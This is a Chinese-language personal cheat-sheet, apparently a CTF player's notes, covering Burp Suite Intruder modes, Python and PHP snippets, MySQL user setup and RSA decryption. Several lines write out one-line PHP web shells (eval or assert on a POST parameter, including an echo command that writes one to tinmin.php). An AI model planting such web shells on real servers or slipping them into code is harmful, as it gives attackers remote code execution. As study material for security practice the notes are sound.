kail 1 update-rc.d ssh enable 开机启动ssh
burpsuite intruder
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 第一种: Sniper标签 这个是我们最常用的,Sniper是狙击手的意思。这个模式会使用单一的payload【就是导入字典的payload】组。它会针对每个position中$$位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行测试。攻击中的请求总数应该是position数量和payload数量的乘积。 第二种: Battering ram – 这一模式是使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。简单说就是一个playload字典同时应用到多个position中 第三种: Pitchfork – 这一模式是使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。比如:position中A处有a字典,B处有b字典,则a【1】将会对应b【1】进行attack处理,这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量 第四种: Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。比如:position中A处有a字典,B处有b字典,则两个字典将会循环搭配组合进行attack处理这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。
python lambda 1 2 3 a = lambda x,y :x*y a(3,2) #6
linux 一些转义
1 echo "<?php eval(\$_POST['tinmin']);?>" > tinmin.php
MYSQL5.7 创建用户
1 CREATE USER 'username'@'host' IDENTIFIED BY 'password';
授权
1 grant all privileges on mq.* to test@localhost identified by 'PASSWORD';
删除用户
python php 易遗忘点 python 判断数据类型取代type
1 2 isinstance([1 ,2 ,3 ,4 ],list)
python 三目运算符
如果x小于零,则a=6,否则还是3
函数
1 2 3 def tinmin(): return 'hello' tinmin.func_code.co_filename = "tinmin"
获取函数名称和文件位置:func_name, func_code.co_filename
php 三目运算符
1 2 3 4 php > $x = 0; php > $p = $x > 5 ? 5:4; php > echo $p ; 4
join 连接字符串
1 2 3 4 >>>'' .join(['1' ,'2' ,'3' ]) 123 >>> '' .join(('1' ,'2' ,'3' ,'4' )) 1234
随机字符串
1 2 3 "" .join(__import__("random" ).sample((__import__("string" ).ascii_letters+__import__("string" ).digits),16 ))"" .join(__import__("random" ).choice(__import__("string" ).ascii_letters+__import__("string" ).digits) for _ in range(16 ))
python3 的sha1 md5不需要hashlib库了
1 2 3 from _md5 import md5 md5("tinmin".encode("utf-8")).hexdigest() from _sha1 import sha1
php数组转化字符串方法 1 2 3 4 5 join(array ("I" ,"am" ,"tinmin" ),"," ) >> I,am,tinmin serialize(array ("I" ,"am" ,"tinmin" )) >>a:3 :{i:0 ;s:1 :"I" ;i:1 ;s:2 :"am" ;i:2 ;s:6 :"tinmin" ;}
密码学RSA python的使用 python3使用pycryptodome
替代pycrypto
1 2 3 4 5 6 7 8 9 10 11 12 from Cryptodome.PublicKey import RSAwith open('./pub.key' ,"r" ) as f: key = RSA.import_key(f) n = key.n e = key.e from Cryptodome.Cipher import PKCS1_v1_5prv = RSA.construct((N,e,int(d),p,q)) rsa = PKCS1_v1_5.new(prv) rsa.decrypt((bytes.fromhex(cipher), e))
无符号hex转ascii
1 2 3 4 from Cryptodome.Util.number import long_to_bytes flag = int(cipher,16) m = pow(flag,d,N) long_to_bytes(m) m没有0x
格式化字符串 PHP
1 2 3 4 5 <?php $num = "1" ; $str = "school" ; echo sprintf("you are number %u in the %s" ,$num,$str);?>
you are number 1 in the school
sprintf
%u 无符号十进制数 %s 字符串 %c ascii码 %% 百分号 %e 科学记数法 %f 浮点数
python
1 2 3 4 5 "My name is {}" .format("tinmin" )"My name is {name}" .format(name="tinmin" )"My name is {1}" .format("tinmin" ,"imtinmin" ) "My name is %s" %"tinmin" "You play %s like %s" %("CTF" ,"cxk" )
C
1 printf("%s","hello world");
php 代码执行函数 eval()
1 2 3 <?php eval ($_POST['tinmin' ]); ?>
POST: tinmin=phpinfo();
assert()
1 2 3 <?php assert($_POST['tinmin' ]); ?>
assert
函数执行失败,会停止执行文件后面的代码
命令执行函数 exec()
无回显,需要echo
1 2 3 <?php echo exec('ls' ); ?>
可以使用exec('ls',$a[]);
将执行结果输出到a数组,再输出
passthru()
有命令执行结果回显
1 2 3 <?php passthru('ls' ); ?>
有回显,执行成功返回True
,执行失败返回False
shell_exec()
相当于反撇号,无回显 例:
1 2 3 <?php echo `whoami`; ?>
system
在当前目录启动HTTP服务 python2
1 py2 -m SimpleHTTPServer 1337
python3
php5.4+
linux 强大的lsb隐写查看工具
先下个ruby 然后gem也有了,gem install zsteg
zsteg